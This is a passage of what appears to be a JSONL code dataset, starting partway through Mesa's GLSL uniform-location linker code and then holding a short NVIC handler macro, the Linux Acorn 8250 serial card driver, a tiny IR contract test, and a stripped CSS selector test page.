base_type->is_image());\n\n if (this->record_array_count > 1) {\n unsigned inner_array_size = MAX2(1, uniform->array_elements);\n char *name_copy = ralloc_strdup(NULL, name);\n\n /* Remove all array subscripts from the sampler/image name */\n char *str_start;\n const char *str_end;\n while((str_start = strchr(name_copy, '[')) &&\n (str_end = strchr(name_copy, ']'))) {\n memmove(str_start, str_end + 1, 1 + strlen(str_end + 1));\n }\n\n unsigned index = 0;\n if (record_next_index->get(index, name_copy)) {\n /* In this case, we've already seen this uniform so we just use the\n * next sampler/image index recorded the last time we visited.\n */\n uniform->opaque[shader_type].index = index;\n index = inner_array_size + uniform->opaque[shader_type].index;\n record_next_index->put(index, name_copy);\n\n ralloc_free(name_copy);\n /* Return as everything else has already been initialised in a\n * previous pass.\n */\n return false;\n } else {\n /* We've never seen this uniform before so we need to allocate\n * enough indices to store it.\n *\n * Nested struct arrays behave like arrays of arrays so we need to\n * increase the index by the total number of elements of the\n * sampler/image in case there is more than one sampler/image\n * inside the structs. This allows the offset to be easily\n * calculated for indirect indexing.\n */\n uniform->opaque[shader_type].index = next_index;\n next_index += inner_array_size * this->record_array_count;\n\n /* Store the next index for future passes over the struct array\n */\n index = uniform->opaque[shader_type].index + inner_array_size;\n record_next_index->put(index, name_copy);\n ralloc_free(name_copy);\n }\n } else {\n /* Increment the sampler/image by 1 for non-arrays and by the number\n * of array elements for arrays.\n */\n uniform->opaque[shader_type].index = next_index;\n next_index += MAX2(1, uniform->array_elements);\n }\n return true;\n }\n\n void handle_samplers(const glsl_type *base_type,\n struct gl_uniform_storage *uniform, const char *name)\n {\n if (base_type->is_sampler()) {\n uniform->opaque[shader_type].active = true;\n\n const gl_texture_index target = base_type->sampler_index();\n const unsigned shadow = base_type->sampler_shadow;\n\n if (current_var->data.bindless) {\n if (!set_opaque_indices(base_type, uniform, name,\n this->next_bindless_sampler,\n this->record_next_bindless_sampler))\n return;\n\n this->num_bindless_samplers = this->next_bindless_sampler;\n\n this->bindless_targets = (gl_texture_index *)\n realloc(this->bindless_targets,\n this->num_bindless_samplers * sizeof(gl_texture_index));\n\n for (unsigned i = uniform->opaque[shader_type].index;\n i < this->num_bindless_samplers;\n i++) {\n this->bindless_targets[i] = target;\n }\n } else {\n if (!set_opaque_indices(base_type, uniform, name,\n this->next_sampler,\n this->record_next_sampler))\n return;\n\n for (unsigned i = uniform->opaque[shader_type].index;\n i < MIN2(this->next_sampler, MAX_SAMPLERS);\n i++) {\n this->targets[i] = target;\n this->shader_samplers_used |= 1U << i;\n this->shader_shadow_samplers |= shadow << i;\n }\n }\n }\n }\n\n void handle_images(const glsl_type *base_type,\n struct gl_uniform_storage *uniform, const char *name)\n {\n if (base_type->is_image()) {\n uniform->opaque[shader_type].active = true;\n\n /* Set image access qualifiers */\n const GLenum access =\n (current_var->data.memory_read_only ? GL_READ_ONLY :\n current_var->data.memory_write_only ? GL_WRITE_ONLY :\n GL_READ_WRITE);\n\n if (current_var->data.bindless) {\n if (!set_opaque_indices(base_type, uniform, name,\n this->next_bindless_image,\n this->record_next_bindless_image))\n return;\n\n this->num_bindless_images = this->next_bindless_image;\n\n this->bindless_access = (GLenum *)\n realloc(this->bindless_access,\n this->num_bindless_images * sizeof(GLenum));\n\n for (unsigned i = uniform->opaque[shader_type].index;\n i < this->num_bindless_images;\n i++) {\n this->bindless_access[i] = access;\n }\n } else {\n if (!set_opaque_indices(base_type, uniform, name,\n this->next_image,\n this->record_next_image))\n return;\n\n for (unsigned i = uniform->opaque[shader_type].index;\n i < MIN2(this->next_image, MAX_IMAGE_UNIFORMS);\n i++) {\n prog->_LinkedShaders[shader_type]->Program->sh.ImageAccess[i] = access;\n }\n }\n }\n }\n\n void handle_subroutines(const glsl_type *base_type,\n struct gl_uniform_storage *uniform)\n {\n if (base_type->is_subroutine()) {\n uniform->opaque[shader_type].index = this->next_subroutine;\n uniform->opaque[shader_type].active = true;\n\n prog->_LinkedShaders[shader_type]->Program->sh.NumSubroutineUniforms++;\n\n /* Increment the subroutine index by 1 for non-arrays and by the\n * number of array elements for arrays.\n */\n this->next_subroutine += MAX2(1, uniform->array_elements);\n\n }\n }\n\n virtual void set_buffer_offset(unsigned offset)\n {\n this->ubo_byte_offset = offset;\n }\n\n virtual void set_record_array_count(unsigned record_array_count)\n {\n this->record_array_count = record_array_count;\n }\n\n virtual void enter_record(const glsl_type *type, const char *,\n bool row_major,\n const enum glsl_interface_packing packing)\n {\n assert(type->is_record());\n if (this->buffer_block_index == -1)\n return;\n if (packing == GLSL_INTERFACE_PACKING_STD430)\n this->ubo_byte_offset = glsl_align(\n this->ubo_byte_offset, type->std430_base_alignment(row_major));\n else\n this->ubo_byte_offset = glsl_align(\n this->ubo_byte_offset, type->std140_base_alignment(row_major));\n }\n\n virtual void leave_record(const glsl_type *type, const char *,\n bool row_major,\n const enum glsl_interface_packing packing)\n {\n assert(type->is_record());\n if (this->buffer_block_index == -1)\n return;\n if (packing == GLSL_INTERFACE_PACKING_STD430)\n this->ubo_byte_offset = glsl_align(\n this->ubo_byte_offset, type->std430_base_alignment(row_major));\n else\n this->ubo_byte_offset = glsl_align(\n this->ubo_byte_offset, type->std140_base_alignment(row_major));\n }\n\n virtual void visit_field(const glsl_type *type, const char *name,\n bool row_major, const glsl_type * /* record_type */,\n const enum glsl_interface_packing packing,\n bool /* last_field */)\n {\n assert(!type->without_array()->is_record());\n assert(!type->without_array()->is_interface());\n assert(!(type->is_array() && type->fields.array->is_array()));\n\n unsigned id;\n bool found = this->map->get(id, name);\n assert(found);\n\n if (!found)\n return;\n\n const glsl_type *base_type;\n if (type->is_array()) {\n this->uniforms[id].array_elements = type->length;\n base_type = type->fields.array;\n } else {\n this->uniforms[id].array_elements = 0;\n base_type = type;\n }\n\n /* Initialise opaque data */\n this->uniforms[id].opaque[shader_type].index = ~0;\n this->uniforms[id].opaque[shader_type].active = false;\n\n this->uniforms[id].active_shader_mask |= 1 << shader_type;\n\n /* This assigns uniform indices to sampler and image uniforms. */\n handle_samplers(base_type, &this->uniforms[id], name);\n handle_images(base_type, &this->uniforms[id], name);\n handle_subroutines(base_type, &this->uniforms[id]);\n\n /* For array of arrays or struct arrays the base location may have\n * already been set so don't set it again.\n */\n if (buffer_block_index == -1 && current_var->data.location == -1) {\n current_var->data.location = id;\n }\n\n /* If there is already storage associated with this uniform or if the\n * uniform is set as builtin, it means that it was set while processing\n * an earlier shader stage. For example, we may be processing the\n * uniform in the fragment shader, but the uniform was already processed\n * in the vertex shader.\n */\n if (this->uniforms[id].storage != NULL || this->uniforms[id].builtin) {\n return;\n }\n\n /* Assign explicit locations. */\n if (current_var->data.explicit_location) {\n /* Set sequential locations for struct fields. */\n if (current_var->type->without_array()->is_record() ||\n current_var->type->is_array_of_arrays()) {\n const unsigned entries = MAX2(1, this->uniforms[id].array_elements);\n this->uniforms[id].remap_location =\n this->explicit_location + field_counter;\n field_counter += entries;\n } else {\n this->uniforms[id].remap_location = this->explicit_location;\n }\n } else {\n /* Initialize to to indicate that no location is set */\n this->uniforms[id].remap_location = UNMAPPED_UNIFORM_LOC;\n }\n\n this->uniforms[id].name = ralloc_strdup(this->uniforms, name);\n this->uniforms[id].type = base_type;\n this->uniforms[id].num_driver_storage = 0;\n this->uniforms[id].driver_storage = NULL;\n this->uniforms[id].atomic_buffer_index = -1;\n this->uniforms[id].hidden =\n current_var->data.how_declared == ir_var_hidden;\n this->uniforms[id].builtin = is_gl_identifier(name);\n\n this->uniforms[id].is_shader_storage =\n current_var->is_in_shader_storage_block();\n this->uniforms[id].is_bindless = current_var->data.bindless;\n\n /* Do not assign storage if the uniform is a builtin or buffer object */\n if (!this->uniforms[id].builtin &&\n !this->uniforms[id].is_shader_storage &&\n this->buffer_block_index == -1)\n this->uniforms[id].storage = this->values;\n\n if (this->buffer_block_index != -1) {\n this->uniforms[id].block_index = this->buffer_block_index;\n\n unsigned alignment = type->std140_base_alignment(row_major);\n if (packing == GLSL_INTERFACE_PACKING_STD430)\n alignment = type->std430_base_alignment(row_major);\n this->ubo_byte_offset = glsl_align(this->ubo_byte_offset, alignment);\n this->uniforms[id].offset = this->ubo_byte_offset;\n if (packing == GLSL_INTERFACE_PACKING_STD430)\n this->ubo_byte_offset += type->std430_size(row_major);\n else\n this->ubo_byte_offset += type->std140_size(row_major);\n\n if (type->is_array()) {\n if (packing == GLSL_INTERFACE_PACKING_STD430)\n this->uniforms[id].array_stride =\n type->without_array()->std430_array_stride(row_major);\n else\n this->uniforms[id].array_stride =\n glsl_align(type->without_array()->std140_size(row_major),\n 16);\n } else {\n this->uniforms[id].array_stride = 0;\n }\n\n if (type->without_array()->is_matrix()) {\n this->uniforms[id].matrix_stride =\n link_calculate_matrix_stride(type->without_array(),\n row_major,\n packing);\n this->uniforms[id].row_major = row_major;\n } else {\n this->uniforms[id].matrix_stride = 0;\n this->uniforms[id].row_major = false;\n }\n } else {\n this->uniforms[id].block_index = -1;\n this->uniforms[id].offset = -1;\n this->uniforms[id].array_stride = -1;\n this->uniforms[id].matrix_stride = -1;\n this->uniforms[id].row_major = false;\n }\n\n if (!this->uniforms[id].builtin &&\n !this->uniforms[id].is_shader_storage &&\n this->buffer_block_index == -1)\n this->values += type->component_slots();\n }\n\n /**\n * Current program being processed.\n */\n struct gl_shader_program *prog;\n\n struct string_to_uint_map *map;\n\n struct gl_uniform_storage *uniforms;\n unsigned next_sampler;\n unsigned next_bindless_sampler;\n unsigned next_image;\n unsigned next_bindless_image;\n unsigned next_subroutine;\n\n bool use_std430_as_default;\n\n /**\n * Field counter is used to take care that uniform structures\n * with explicit locations get sequential locations.\n */\n unsigned field_counter;\n\n /**\n * Current variable being processed.\n */\n ir_variable *current_var;\n\n /* Used to store the explicit location from current_var so that we can\n * reuse the location field for storing the uniform slot id.\n */\n int explicit_location;\n\n /* Stores total struct array elements including nested structs */\n unsigned record_array_count;\n\n /* Map for temporarily storing next sampler index when handling samplers in\n * struct arrays.\n */\n struct string_to_uint_map *record_next_sampler;\n\n /* Map for temporarily storing next imager index when handling images in\n * struct arrays.\n */\n struct string_to_uint_map *record_next_image;\n\n /* Map for temporarily storing next bindless sampler index when handling\n * bindless samplers in struct arrays.\n */\n struct string_to_uint_map *record_next_bindless_sampler;\n\n /* Map for temporarily storing next bindless image index when handling\n * bindless images in struct arrays.\n */\n struct string_to_uint_map *record_next_bindless_image;\n\npublic:\n union gl_constant_value *values;\n\n gl_texture_index targets[MAX_SAMPLERS];\n\n /**\n * Mask of samplers used by the current shader stage.\n */\n unsigned shader_samplers_used;\n\n /**\n * Mask of samplers used by the current shader stage for shadows.\n */\n unsigned shader_shadow_samplers;\n\n /**\n * Number of bindless samplers used by the current shader stage.\n */\n unsigned num_bindless_samplers;\n\n /**\n * Texture targets for bindless samplers used by the current stage.\n */\n gl_texture_index *bindless_targets;\n\n /**\n * Number of bindless images used by the current shader stage.\n */\n unsigned num_bindless_images;\n\n /**\n * Access types for bindless images used by the current stage.\n */\n GLenum *bindless_access;\n\n};\n\nstatic bool\nvariable_is_referenced(ir_array_refcount_visitor &v, ir_variable *var)\n{\n ir_array_refcount_entry *const entry = v.get_variable_entry(var);\n\n return entry->is_referenced;\n\n}\n\n/**\n * Walks the IR and update the references to uniform blocks in the\n * ir_variables to point at linked shader's list (previously, they\n * would point at the uniform block list in one of the pre-linked\n * shaders).\n */\nstatic void\nlink_update_uniform_buffer_variables(struct gl_linked_shader *shader,\n unsigned stage)\n{\n ir_array_refcount_visitor v;\n\n v.run(shader->ir);\n\n foreach_in_list(ir_instruction, node, shader->ir) {\n ir_variable *const var = node->as_variable();\n\n if (var == NULL || !var->is_in_buffer_block())\n continue;\n\n assert(var->data.mode == ir_var_uniform ||\n var->data.mode == ir_var_shader_storage);\n\n unsigned num_blocks = var->data.mode == ir_var_uniform ?\n shader->Program->info.num_ubos : shader->Program->info.num_ssbos;\n struct gl_uniform_block **blks = var->data.mode == ir_var_uniform ?\n shader->Program->sh.UniformBlocks :\n shader->Program->sh.ShaderStorageBlocks;\n\n if (var->is_interface_instance()) {\n const ir_array_refcount_entry *const entry = v.get_variable_entry(var);\n\n if (entry->is_referenced) {\n /* Since this is an interface instance, the instance type will be\n * same as the array-stripped variable type. If the variable type\n * is an array, then the block names will be suffixed with [0]\n * through [n-1]. Unlike for non-interface instances, there will\n * not be structure types here, so the only name sentinel that we\n * have to worry about is [.\n */\n assert(var->type->without_array() == var->get_interface_type());\n const char sentinel = var->type->is_array() ? '[' : '\\0';\n\n const ptrdiff_t len = strlen(var->get_interface_type()->name);\n for (unsigned i = 0; i < num_blocks; i++) {\n const char *const begin = blks[i]->Name;\n const char *const end = strchr(begin, sentinel);\n\n if (end == NULL)\n continue;\n\n if (len != (end - begin))\n continue;\n\n /* Even when a match is found, do not \"break\" here. This could\n * be an array of instances, and all elements of the array need\n * to be marked as referenced.\n */\n if (strncmp(begin, var->get_interface_type()->name, len) == 0 &&\n (!var->type->is_array() ||\n entry->is_linearized_index_referenced(blks[i]->linearized_array_index))) {\n blks[i]->stageref |= 1U << stage;\n }\n }\n }\n\n var->data.location = 0;\n continue;\n }\n\n bool found = false;\n char sentinel = '\\0';\n\n if (var->type->is_record()) {\n sentinel = '.';\n } else if (var->type->is_array() && (var->type->fields.array->is_array()\n || var->type->without_array()->is_record())) {\n sentinel = '[';\n }\n\n const unsigned l = strlen(var->name);\n for (unsigned i = 0; i < num_blocks; i++) {\n for (unsigned j = 0; j < blks[i]->NumUniforms; j++) {\n if (sentinel) {\n const char *begin = blks[i]->Uniforms[j].Name;\n const char *end = strchr(begin, sentinel);\n\n if (end == NULL)\n continue;\n\n if ((ptrdiff_t) l != (end - begin))\n continue;\n\n found = strncmp(var->name, begin, l) == 0;\n } else {\n found = strcmp(var->name, blks[i]->Uniforms[j].Name) == 0;\n }\n\n if (found) {\n var->data.location = j;\n\n if (variable_is_referenced(v, var))\n blks[i]->stageref |= 1U << stage;\n\n break;\n }\n }\n\n if (found)\n break;\n }\n assert(found);\n }\n}\n\n/**\n * Combine the hidden uniform hash map with the uniform hash map so that the\n * hidden uniforms will be given indicies at the end of the uniform storage\n * array.\n */\nstatic void\nassign_hidden_uniform_slot_id(const char *name, unsigned hidden_id,\n void *closure)\n{\n count_uniform_size *uniform_size = (count_uniform_size *) closure;\n unsigned hidden_uniform_start = uniform_size->num_active_uniforms -\n uniform_size->num_hidden_uniforms;\n\n uniform_size->map->put(hidden_uniform_start + hidden_id, name);\n}\n\nstatic void\nlink_setup_uniform_remap_tables(struct gl_context *ctx,\n struct gl_shader_program *prog)\n{\n unsigned total_entries = prog->NumExplicitUniformLocations;\n unsigned empty_locs = prog->NumUniformRemapTable - total_entries;\n\n /* Reserve all the explicit locations of the active uniforms. */\n for (unsigned i = 0; i < prog->data->NumUniformStorage; i++) {\n if (prog->data->UniformStorage[i].type->is_subroutine() ||\n prog->data->UniformStorage[i].is_shader_storage)\n continue;\n\n if (prog->data->UniformStorage[i].remap_location !=\n UNMAPPED_UNIFORM_LOC) {\n /* How many new entries for this uniform? */\n const unsigned entries =\n MAX2(1, prog->data->UniformStorage[i].array_elements);\n\n /* Set remap table entries point to correct gl_uniform_storage. */\n for (unsigned j = 0; j < entries; j++) {\n unsigned element_loc =\n prog->data->UniformStorage[i].remap_location + j;\n assert(prog->UniformRemapTable[element_loc] ==\n INACTIVE_UNIFORM_EXPLICIT_LOCATION);\n prog->UniformRemapTable[element_loc] =\n &prog->data->UniformStorage[i];\n }\n }\n }\n\n /* Reserve locations for rest of the uniforms. */\n for (unsigned i = 0; i < prog->data->NumUniformStorage; i++) {\n\n if (prog->data->UniformStorage[i].type->is_subroutine() ||\n prog->data->UniformStorage[i].is_shader_storage)\n continue;\n\n /* Built-in uniforms should not get any location. */\n if (prog->data->UniformStorage[i].builtin)\n continue;\n\n /* Explicit ones have been set already. */\n if (prog->data->UniformStorage[i].remap_location != UNMAPPED_UNIFORM_LOC)\n continue;\n\n /* how many new entries for this uniform? */\n const unsigned entries =\n MAX2(1, prog->data->UniformStorage[i].array_elements);\n\n /* Find UniformRemapTable for empty blocks where we can fit this uniform. */\n int chosen_location = -1;\n\n if (empty_locs)\n chosen_location = link_util_find_empty_block(prog, &prog->data->UniformStorage[i]);\n\n /* Add new entries to the total amount of entries. */\n total_entries += entries;\n\n if (chosen_location != -1) {\n empty_locs -= entries;\n } else {\n chosen_location = prog->NumUniformRemapTable;\n\n /* resize remap table to fit new entries */\n prog->UniformRemapTable =\n reralloc(prog,\n prog->UniformRemapTable,\n gl_uniform_storage *,\n prog->NumUniformRemapTable + entries);\n prog->NumUniformRemapTable += entries;\n }\n\n /* set pointers for this uniform */\n for (unsigned j = 0; j < entries; j++)\n prog->UniformRemapTable[chosen_location + j] =\n &prog->data->UniformStorage[i];\n\n /* set the base location in remap table for the uniform */\n prog->data->UniformStorage[i].remap_location = chosen_location;\n }\n\n /* Verify that total amount of entries for explicit and implicit locations\n * is less than MAX_UNIFORM_LOCATIONS.\n */\n\n if (total_entries > ctx->Const.MaxUserAssignableUniformLocations) {\n linker_error(prog, \"count of uniform locations > MAX_UNIFORM_LOCATIONS\"\n \"(%u > %u)\", total_entries,\n ctx->Const.MaxUserAssignableUniformLocations);\n }\n\n /* Reserve all the explicit locations of the active subroutine uniforms. */\n for (unsigned i = 0; i < prog->data->NumUniformStorage; i++) {\n if (!prog->data->UniformStorage[i].type->is_subroutine())\n continue;\n\n if (prog->data->UniformStorage[i].remap_location == UNMAPPED_UNIFORM_LOC)\n continue;\n\n /* How many new entries for this uniform? */\n const unsigned entries =\n MAX2(1, prog->data->UniformStorage[i].array_elements);\n\n unsigned mask = prog->data->linked_stages;\n while (mask) {\n const int j = u_bit_scan(&mask);\n struct gl_program *p = prog->_LinkedShaders[j]->Program;\n\n if (!prog->data->UniformStorage[i].opaque[j].active)\n continue;\n\n /* Set remap table entries point to correct gl_uniform_storage. */\n for (unsigned k = 0; k < entries; k++) {\n unsigned element_loc =\n prog->data->UniformStorage[i].remap_location + k;\n assert(p->sh.SubroutineUniformRemapTable[element_loc] ==\n INACTIVE_UNIFORM_EXPLICIT_LOCATION);\n p->sh.SubroutineUniformRemapTable[element_loc] =\n &prog->data->UniformStorage[i];\n }\n }\n }\n\n /* reserve subroutine locations */\n for (unsigned i = 0; i < prog->data->NumUniformStorage; i++) {\n if (!prog->data->UniformStorage[i].type->is_subroutine())\n continue;\n\n if (prog->data->UniformStorage[i].remap_location !=\n UNMAPPED_UNIFORM_LOC)\n continue;\n\n const unsigned entries =\n MAX2(1, prog->data->UniformStorage[i].array_elements);\n\n unsigned mask = prog->data->linked_stages;\n while (mask) {\n const int j = u_bit_scan(&mask);\n struct gl_program *p = prog->_LinkedShaders[j]->Program;\n\n if (!prog->data->UniformStorage[i].opaque[j].active)\n continue;\n\n p->sh.SubroutineUniformRemapTable =\n reralloc(p,\n p->sh.SubroutineUniformRemapTable,\n gl_uniform_storage *,\n p->sh.NumSubroutineUniformRemapTable + entries);\n\n for (unsigned k = 0; k < entries; k++) {\n p->sh.SubroutineUniformRemapTable[p->sh.NumSubroutineUniformRemapTable + k] =\n &prog->data->UniformStorage[i];\n }\n prog->data->UniformStorage[i].remap_location =\n p->sh.NumSubroutineUniformRemapTable;\n p->sh.NumSubroutineUniformRemapTable += entries;\n }\n }\n}\n\nstatic void\nlink_assign_uniform_storage(struct gl_context *ctx,\n struct gl_shader_program *prog,\n const unsigned num_data_slots)\n{\n /* On the outside chance that there were no uniforms, bail out.\n */\n if (prog->data->NumUniformStorage == 0)\n return;\n\n unsigned int boolean_true = ctx->Const.UniformBooleanTrue;\n\n union gl_constant_value *data;\n if (prog->data->UniformStorage == NULL) {\n prog->data->UniformStorage = rzalloc_array(prog->data,\n struct gl_uniform_storage,\n prog->data->NumUniformStorage);\n data = rzalloc_array(prog->data->UniformStorage,\n union gl_constant_value, num_data_slots);\n prog->data->UniformDataDefaults =\n rzalloc_array(prog->data->UniformStorage,\n union gl_constant_value, num_data_slots);\n } else {\n data = prog->data->UniformDataSlots;\n }\n\n#ifndef NDEBUG\n union gl_constant_value *data_end = &data[num_data_slots];\n#endif\n\n parcel_out_uniform_storage parcel(prog, prog->UniformHash,\n prog->data->UniformStorage, data,\n ctx->Const.UseSTD430AsDefaultPacking);\n\n for (unsigned i = 0; i < MESA_SHADER_STAGES; i++) {\n struct gl_linked_shader *shader = prog->_LinkedShaders[i];\n\n if (!shader)\n continue;\n\n parcel.start_shader((gl_shader_stage)i);\n\n foreach_in_list(ir_instruction, node, shader->ir) {\n ir_variable *const var = node->as_variable();\n\n if ((var == NULL) || (var->data.mode != ir_var_uniform &&\n var->data.mode != ir_var_shader_storage))\n continue;\n\n parcel.set_and_process(var);\n }\n\n shader->Program->SamplersUsed = parcel.shader_samplers_used;\n shader->shadow_samplers = parcel.shader_shadow_samplers;\n\n if (parcel.num_bindless_samplers > 0) {\n shader->Program->sh.NumBindlessSamplers = parcel.num_bindless_samplers;\n shader->Program->sh.BindlessSamplers =\n rzalloc_array(shader->Program, gl_bindless_sampler,\n parcel.num_bindless_samplers);\n for (unsigned j = 0; j < parcel.num_bindless_samplers; j++) {\n shader->Program->sh.BindlessSamplers[j].target =\n parcel.bindless_targets[j];\n }\n }\n\n if (parcel.num_bindless_images > 0) {\n shader->Program->sh.NumBindlessImages = parcel.num_bindless_images;\n shader->Program->sh.BindlessImages =\n rzalloc_array(shader->Program, gl_bindless_image,\n parcel.num_bindless_images);\n for (unsigned j = 0; j < parcel.num_bindless_images; j++) {\n shader->Program->sh.BindlessImages[j].access =\n parcel.bindless_access[j];\n }\n }\n\n STATIC_ASSERT(ARRAY_SIZE(shader->Program->sh.SamplerTargets) ==\n ARRAY_SIZE(parcel.targets));\n for (unsigned j = 0; j < ARRAY_SIZE(parcel.targets); j++)\n shader->Program->sh.SamplerTargets[j] = parcel.targets[j];\n }\n\n#ifndef NDEBUG\n for (unsigned i = 0; i < prog->data->NumUniformStorage; i++) {\n assert(prog->data->UniformStorage[i].storage != NULL ||\n prog->data->UniformStorage[i].builtin ||\n prog->data->UniformStorage[i].is_shader_storage ||\n prog->data->UniformStorage[i].block_index != -1);\n }\n\n assert(parcel.values == data_end);\n#endif\n\n link_setup_uniform_remap_tables(ctx, prog);\n\n /* Set shader cache fields */\n prog->data->NumUniformDataSlots = num_data_slots;\n prog->data->UniformDataSlots = data;\n\n link_set_uniform_initializers(prog, boolean_true);\n}\n\nvoid\nlink_assign_uniform_locations(struct gl_shader_program *prog,\n struct gl_context *ctx)\n{\n ralloc_free(prog->data->UniformStorage);\n prog->data->UniformStorage = NULL;\n prog->data->NumUniformStorage = 0;\n\n if (prog->UniformHash != NULL) {\n prog->UniformHash->clear();\n } else {\n prog->UniformHash = new string_to_uint_map;\n }\n\n /* First pass: Count the uniform resources used by the user-defined\n * uniforms. While this happens, each active uniform will have an index\n * assigned to it.\n *\n * Note: this is *NOT* the index that is returned to the application by\n * glGetUniformLocation.\n */\n struct string_to_uint_map *hiddenUniforms = new string_to_uint_map;\n count_uniform_size uniform_size(prog->UniformHash, hiddenUniforms,\n ctx->Const.UseSTD430AsDefaultPacking);\n for (unsigned i = 0; i < MESA_SHADER_STAGES; i++) {\n struct gl_linked_shader *sh = prog->_LinkedShaders[i];\n\n if (sh == NULL)\n continue;\n\n link_update_uniform_buffer_variables(sh, i);\n\n /* Reset various per-shader target counts.\n */\n uniform_size.start_shader();\n\n foreach_in_list(ir_instruction, node, sh->ir) {\n ir_variable *const var = node->as_variable();\n\n if ((var == NULL) || (var->data.mode != ir_var_uniform &&\n var->data.mode != ir_var_shader_storage))\n continue;\n\n uniform_size.process(var);\n }\n\n sh->Program->info.num_textures = uniform_size.num_shader_samplers;\n sh->Program->info.num_images = uniform_size.num_shader_images;\n sh->num_uniform_components = uniform_size.num_shader_uniform_components;\n sh->num_combined_uniform_components = sh->num_uniform_components;\n\n for (unsigned i = 0; i < sh->Program->info.num_ubos; i++) {\n sh->num_combined_uniform_components +=\n sh->Program->sh.UniformBlocks[i]->UniformBufferSize / 4;\n }\n }\n\n prog->data->NumUniformStorage = uniform_size.num_active_uniforms;\n prog->data->NumHiddenUniforms = uniform_size.num_hidden_uniforms;\n\n /* assign hidden uniforms a slot id */\n hiddenUniforms->iterate(assign_hidden_uniform_slot_id, &uniform_size);\n delete hiddenUniforms;\n\n link_assign_uniform_storage(ctx, prog, uniform_size.num_values);\n}\n"} +{"text": "/* NVIC platform-speific table generator */\n\n#define IRQ_HANDLER_FUNC(n) \\\n nvic_handler##n,\n\n#define IRQ_VEC_N_OP IRQ_HANDLER_FUNC\n#include \"platform/stm32f4/nvic_private.h\"\n#undef IRQ_VEC_N_OP\n"} +{"text": "/*\n * linux/drivers/serial/acorn.c\n *\n * Copyright (C) 1996-2003 Russell King.\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n\n#include \"8250.h\"\n\n#define MAX_PORTS\t3\n\nstruct serial_card_type {\n\tunsigned int\tnum_ports;\n\tunsigned int\tuartclk;\n\tunsigned int\ttype;\n\tunsigned int\toffset[MAX_PORTS];\n};\n\nstruct serial_card_info {\n\tunsigned int\tnum_ports;\n\tint\t\tports[MAX_PORTS];\n\tvoid __iomem *vaddr;\n};\n\nstatic int __devinit\nserial_card_probe(struct expansion_card *ec, const struct ecard_id *id)\n{\n\tstruct serial_card_info *info;\n\tstruct serial_card_type *type = id->data;\n\tstruct uart_port port;\n\tunsigned long bus_addr;\n\tunsigned int i;\n\n\tinfo = kzalloc(sizeof(struct serial_card_info), GFP_KERNEL);\n\tif (!info)\n\t\treturn -ENOMEM;\n\n\tinfo->num_ports = type->num_ports;\n\n\tbus_addr = ecard_resource_start(ec, type->type);\n\tinfo->vaddr = ecardm_iomap(ec, type->type, 0, 0);\n\tif (!info->vaddr) {\n\t\tkfree(info);\n\t\treturn -ENOMEM;\n\t}\n\n\tecard_set_drvdata(ec, info);\n\n\tmemset(&port, 0, sizeof(struct uart_port));\n\tport.irq\t= ec->irq;\n\tport.flags\t= UPF_BOOT_AUTOCONF | UPF_SHARE_IRQ;\n\tport.uartclk\t= type->uartclk;\n\tport.iotype\t= UPIO_MEM;\n\tport.regshift\t= 2;\n\tport.dev\t= &ec->dev;\n\n\tfor (i = 0; i < info->num_ports; i ++) {\n\t\tport.membase = info->vaddr + type->offset[i];\n\t\tport.mapbase = bus_addr + type->offset[i];\n\n\t\tinfo->ports[i] = serial8250_register_port(&port);\n\t}\n\n\treturn 0;\n}\n\nstatic void __devexit serial_card_remove(struct expansion_card *ec)\n{\n\tstruct serial_card_info *info = ecard_get_drvdata(ec);\n\tint i;\n\n\tecard_set_drvdata(ec, NULL);\n\n\tfor (i = 0; i < info->num_ports; i++)\n\t\tif (info->ports[i] > 0)\n\t\t\tserial8250_unregister_port(info->ports[i]);\n\n\tkfree(info);\n}\n\nstatic struct serial_card_type atomwide_type = {\n\t.num_ports\t= 3,\n\t.uartclk\t= 7372800,\n\t.type\t\t= ECARD_RES_IOCSLOW,\n\t.offset\t\t= { 0x2800, 0x2400, 0x2000 },\n};\n\nstatic struct serial_card_type serport_type = {\n\t.num_ports\t= 2,\n\t.uartclk\t= 3686400,\n\t.type\t\t= ECARD_RES_IOCSLOW,\n\t.offset\t\t= { 0x2000, 0x2020 },\n};\n\nstatic const struct ecard_id serial_cids[] = {\n\t{ MANU_ATOMWIDE,\tPROD_ATOMWIDE_3PSERIAL,\t&atomwide_type\t},\n\t{ MANU_SERPORT,\t\tPROD_SERPORT_DSPORT,\t&serport_type\t},\n\t{ 0xffff, 0xffff }\n};\n\nstatic struct ecard_driver serial_card_driver = {\n\t.probe\t\t= serial_card_probe,\n\t.remove \t= __devexit_p(serial_card_remove),\n\t.id_table\t= serial_cids,\n\t.drv = {\n\t\t.name\t= \"8250_acorn\",\n\t},\n};\n\nstatic int __init serial_card_init(void)\n{\n\treturn ecard_register_driver(&serial_card_driver);\n}\n\nstatic void __exit serial_card_exit(void)\n{\n\tecard_remove_driver(&serial_card_driver);\n}\n\nMODULE_AUTHOR(\"Russell King\");\nMODULE_DESCRIPTION(\"Acorn 8250-compatible serial port expansion card driver\");\nMODULE_LICENSE(\"GPL\");\n\nmodule_init(serial_card_init);\nmodule_exit(serial_card_exit);\n"} +{"text": "contract test {\n define public @test(%width, %val, %negate) {\n br %negate, end\n %val = sub 0, %val\n end:\n %tmp = twos %width, %val\n %tmp = sext %width, %tmp\n %cmp = cmp eq %tmp, %val\n ret %cmp\n }\n\n define @init() {}\n}\n"} +{"text": "\n Ends-with attribute selector with empty value\n \n \n \n \n \n \n \n

    This text should be green.

    \n

    This text should be green.

